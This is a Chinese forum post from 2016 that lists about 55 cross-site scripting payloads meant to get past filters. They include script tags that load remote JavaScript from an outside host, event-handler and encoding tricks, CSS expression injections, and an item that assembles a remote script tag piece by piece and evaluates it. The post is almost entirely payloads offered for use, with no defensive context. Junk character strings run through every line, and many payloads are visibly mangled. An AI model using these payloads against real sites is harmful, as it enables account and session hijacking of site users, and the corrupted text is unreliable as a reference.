(1)普通的XSS JavaScript注入% p/ c# }0 v' f/ S* Y2 K
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>% s. H. Q* c- J2 {7 k
(99)另类弹框0 e4 O8 m. }- v$ z. c% r0 C
<q/oncut=alert()>1
: l" a; }9 }% d- ^1 X2 q) n% m<s/onclick=alert()>b* G7 m% n* K( }
<XSS=" onclick="alert(1)//">clickme</SSX=">
4 j) c" Z7 ?0 y, I5 k <zzz onclick=alert`1`>clickme</zzz>
" b4 [# b! y+ V8 A <a onclick=alert`1`>clickme</a>
6 h! ]1 V$ O! B' M+ f! h- @<a=">clickme</a=">. _( ?# S1 A& W, d
<a=">clickme</a>
2 |. y: @% `" T<z=">clickme</z=">1 C) T2 A% O( R& P- h
<z onclick=alert`1`>clickme</z>/ P' O. i' v& \7 S
% W+ X+ w( `3 L- `0 p D
(2)IMG标签XSS使用JavaScript命令
. j1 \! ~- \4 {/ q. ^- {: v+ U<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>) {' N; u4 d h( a; A& V. C
8 r9 l) K/ T ?/ K" `(3)IMG标签无分号无引号
+ X# W( L! S0 |% T3 ]- u8 Y<IMG SRC=javascript:alert(‘XSS’)>0 `+ E3 a p; W6 ?
- L' g ?3 d$ o
(4)IMG标签大小写不敏感
' Y4 w* f. `& d& y/ S" Z0 i<IMG SRC=JaVaScRiPt:alert(‘XSS’)>* G. ~4 y4 F! J) v* {- x
$ O, o+ U# k' e/ H' u8 {1 C# n: r0 e: D(5)HTML编码(必须有分号)
. V N: \6 _8 \+ M+ \<IMG SRC=javascript:alert(“XSS”)>+ Y4 `5 N3 Z4 d1 y0 L
2 ~( x* B+ Z% R. X8 S. {1 C
(6)修正缺陷IMG标签' F. w% n8 X. D# Z! C: D( W
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
: o9 ^+ U( l3 P) L, d7 T: Q$ B# T, a F$ M* x
(7)formCharCode标签(计算器), w5 w( p( C, Z1 Z% h
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>2 t* Y' _8 O) ^' @$ v) h# D
. T3 ^' H6 @' E: S% ]( v! M(8)UTF-8的Unicode编码(计算器)% Q1 m7 v e% s8 r6 Y6 S
<IMG SRC=jav..省略..S')> ]# W1 P D, A% K" U8 E
, ]0 w$ Z1 h- ]: o9 x(9)7位的UTF-8的Unicode编码是没有分号的(计算器)- ^: \3 q6 ~: g5 p2 G) d
<IMG SRC=jav..省略..S')>' g' x, ?9 V* ^+ w7 p) c6 S
+ o Z+ G' h g
(10)十六进制编码也是没有分号(计算器)* f; w4 I* Z/ e7 S" }
<IMG SRC=\'#\'" /span>
0 ]9 \. a& s5 Y/ |0 |5 W0 d' f
3 B: [8 m! h+ h(11)嵌入式标签,将Javascript分开' a4 n$ ~" x r
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
/ T* y- S' ]* ]3 [- e- H: w% Q* o! m6 y F# c3 o
(12)嵌入式编码标签,将Javascript分开5 W- f+ Y5 J4 T' D u T4 z
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>! `1 D4 \/ O8 U& f0 R
8 {! j6 C! ^$ p, n6 c(13)嵌入式换行符
" B* b( l+ n. a& P1 Q$ W$ s) f8 Z<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
) Q4 u2 H6 B" j2 h' ]
" V5 `+ T% e+ X+ A+ u(14)嵌入式回车
, E3 X$ Q! a7 k9 a/ W2 ^<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
: F7 r6 ^& b5 I( l* [
- l/ h/ W# q. h(15)嵌入式多行注入JavaScript,这是XSS极端的例子1 ]6 n3 t9 n% @8 i
<IMG SRC=\'#\'" /span>
- [$ t) c, t' P4 a5 }& ~3 E* L; I$ W1 D# g9 p4 d
(16)解决限制字符(要求同页面): H: ^4 F5 t# x# ^& Z
<script>z=’document.’</script>
1 H, W" w( H& O5 m5 k<script>z=z+’write(“‘</script>! @( v- _( j/ t" g. V% g! ~
<script>z=z+’<script’</script>5 Y5 w8 J, u, H1 m' i* {
<script>z=z+’ src=ht’</script>+ U5 `9 O3 I' G# }% i
<script>z=z+’tp://ww’</script>& t* T" I: _+ B& n8 r
<script>z=z+’w.shell’</script>! V; E6 c+ v0 S0 @
<script>z=z+’.net/1.’</script>/ I) B2 L' p4 V. }/ U! |& S
<script>z=z+’js></sc’</script>4 n+ F. B7 [$ X4 K
<script>z=z+’ript>”)’</script>5 Y* P8 _0 B. D$ n' U/ W ?; T
<script>eval_r(z)</script>/ v6 M* n* {1 ^( |: K5 V# b
* H7 _9 Z) E- L
(17)空字符
* \; D0 q* M7 {) v& Xperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out9 y0 t% h+ _! V& D/ G
: H; \- J0 N f/ h(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用# u3 h6 \0 [1 a4 D
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out! [$ v0 g Z3 ~" Z" U5 n: }) T* f
' {. o1 S; f1 S, {4 u
(19)Spaces和meta前的IMG标签
' _5 o# u5 U: w% x y3 g<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>3 v* F# _2 N# R2 a/ z% _8 f
" f1 v/ j9 A) i! k" h
(20)Non-alpha-non-digit XSS9 e. {- I/ e0 Z7 Y/ W: h" P
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>( m, j0 l: a4 P4 c: @8 v2 v
4 g# F7 Q0 `4 z- G3 d
(21)Non-alpha-non-digit XSS to 2
! {9 X7 ^, _( s( H8 I& _( O! C<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
2 ?( z+ T6 x, z- @
5 i: G3 O! `6 s8 s- `$ D/ {9 D/ ](22)Non-alpha-non-digit XSS to 3
: C0 S4 N+ F+ d5 B) T<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT> q; T6 ?4 F. N
. P y* c: U/ o* c0 S) ~" ]* n(23)双开括号
' W; j% D& b3 ]5 T3 C; W+ z<<SCRIPT>alert(“XSS”);//<</SCRIPT> m! `- L7 B8 u
5 s* K% o9 k/ q(24)无结束脚本标记(仅火狐等浏览器)' @ h J+ G7 c9 n! y
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
4 i) L& |1 J3 z" A6 D; c+ c0 R+ W! \/ O& ~! A
(25)无结束脚本标记2( M- {. A( S% Q
<SCRIPT SRC=//3w.org/XSS/xss.js>/ A# M# g2 X$ J+ t
2 i' D1 ~, A7 ^0 _
(26)半开的HTML/JavaScript XSS( z; O; a: w5 {& d0 J7 y
<IMG SRC=\'#\'" /span>
' D" R0 ^) a& {3 p4 }9 `$ p E& O4 h3 @% Z
(27)双开角括号
) g" Z4 w8 R& F/ O<iframe src=http://3w.org/XSS.html <
/ l! t! U$ ]! ]& i3 p9 R4 y# E; q' B6 I6 ]8 D+ `7 G( i& B7 g5 K
(28)无单引号 双引号 分号. O0 C3 V1 W6 K; ?1 g
<SCRIPT>a=/XSS/ M. Y/ o; I; H2 K1 z
alert(a.source)</SCRIPT>. q8 c* d1 t) W5 y3 H$ m( x
6 c! Z/ {; \# C. x# i( K0 m' H; b(29)换码过滤的JavaScript ~* n2 a: Q: d8 w( }
\”;alert(‘XSS’);//
8 S& D1 V# U: X" `# \) d* L+ k$ ]% p
(30)结束Title标签4 e0 k. C9 \, c! y* R# X
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>7 v& N) J; z) t6 Z7 @
7 ]# s: |/ Y# }* R: L/ n(31)Input Image( r8 B" m& K6 {0 _0 {, d( {
<INPUT SRC=\'#\'" /span>
, J B% H# m. {
: N+ |$ z! {9 m(32)BODY Image
`( y% N6 C. Y+ e<BODY BACKGROUND=”javascript:alert(‘XSS’)”>- h, M$ l; ^7 u' c
$ P6 b, M, A$ g0 V2 U4 P
(33)BODY标签
+ V" T+ n7 p' o7 o! n8 I5 ]<BODY(‘XSS’)>
: n& N6 R2 S' } r2 B: F
8 A$ S- p' g1 p. l7 K! v(34)IMG Dynsrc
" b6 A8 z% e9 R1 S( @% e<IMG DYNSRC=\'#\'" /span>
9 ~( V& y5 @. ~3 P
4 Q' w* a6 Y, z( [; \(35)IMG Lowsrc8 x% Y- o, m( B! U& e) z' x
<IMG LOWSRC=\'#\'" /span>) t7 S- a/ s- P. A! S A; I; n
9 M: ~( c+ k3 A# [6 c! J(36)BGSOUND
- ^0 r1 Y) S3 w<BGSOUND SRC=\'#\'" /span>
. o% k( @" J1 C8 o* l
$ ^3 M: s- j* x; t! D) o4 W ^(37)STYLE sheet" H O( t3 Q2 X/ b# T, X. V
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
: |& M' I4 n' }* d! x
% E( q8 l$ P( N: x# R(38)远程样式表
7 D# m; C8 g4 X% X1 {- G3 y<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
) A8 E/ M1 v: G4 m0 ~7 r2 ^+ f2 {( ^) P
# `; D/ j1 I9 c9 j- o+ ^0 Y(39)List-style-image(列表式)
! A: P. a/ Q9 ?% Y<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS* z2 R( b# X. @/ A
' Z! l+ G6 i8 [1 r7 D# x(40)IMG VBscript! ]; {! ^* U$ v2 U% n2 {% Q
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS' \% e+ b) S2 L1 F
4 D6 Z2 n. u. r: W" x* u
(41)META链接url% }, S1 {& ]# q; C
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>4 |+ L) ~' |: ~, j- X
, j. |8 J b. u3 ^
(42)Iframe' v$ H5 a% B$ K0 I0 P% r
<IFRAME SRC=\'#\'" /IFRAME>
$ |1 v& g- l8 x9 Z: @3 I6 C. q4 x! S+ c
(43)Frame* L S+ l4 {. [5 W! Q% E" A
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>4 @: f4 ~1 h, b C5 \0 B. M
# Y- O \! N% N2 k) z% p
(44)Table& R2 u$ w) L8 _
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>' D- h, x! P7 |$ A& |- P3 G& _1 v
0 f5 |; m6 ^7 C: a3 ~, s(45)TD
8 i9 n5 y8 _8 [3 z8 F<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>1 R6 n5 a" i9 L+ c
" }' @: I- X' [
(46)DIV background-image5 M( v0 h' U. Y( Q* {
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
# w) ]% l: F3 e. W8 N
" g0 z$ {7 @* B7 l3 p. ~3 O(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
' D ]. a/ c% H/ E<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>$ B" l+ O+ \9 { ]8 m _
3 ]& L. q3 V! \# J% f(48)DIV expression
+ ?% H7 o2 z, E<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
4 ~) x% [! d( Y" u/ t0 V8 U% ]. @( h
/ a# t% _; X& A! d1 Q8 c( ?- j(49)STYLE属性分拆表达
" Q3 K+ C# o' j! o3 n* m4 u<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
6 i2 S) F, ^0 H7 K5 s( q3 e
& W# o( [: N9 P0 K8 \" W/ Y(50)匿名STYLE(组成:开角号和一个字母开头)
8 W# K! Z( V2 B5 G$ ?8 K/ E& s$ o<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>8 N) ~- H7 R; d* D, p2 ^. u8 X5 _/ j4 L
4 P& c6 | k! X" T
(51)STYLE background-image: G$ g* y+ ^/ G8 G$ ?4 O2 ~
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>3 X* x. D+ p# R8 ^2 e5 M+ u t
9 A! Y, h' \" [$ G' V(52)IMG STYLE方式6 Z( w+ g4 @, N6 b7 e
exppression(alert(“XSS”))’>8 B# Q( O& b ?2 ^4 o
5 L5 ]5 U* M6 D0 |& U4 l/ T(53)STYLE background! T) ~6 w) q9 ~, L6 c3 |
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>8 p5 y2 c" q( _" s1 l- _) l( j
' g8 j4 ]6 Y3 w# C
(54)BASE
! B% }4 P* h& A6 b" x3 u<BASE HREF=”javascript:alert(‘XSS’);//”># \! z1 I% N9 S: g' X4 H" ^% ^
) j. l8 l- X' V+ H
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
" F* }! [$ z, {4 ?. h1 r<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>
8 J1 R9 y( u1 a( f2 w V" W* @1 H |
发表于 2016-4-28 10:06:15
收藏
支持
反对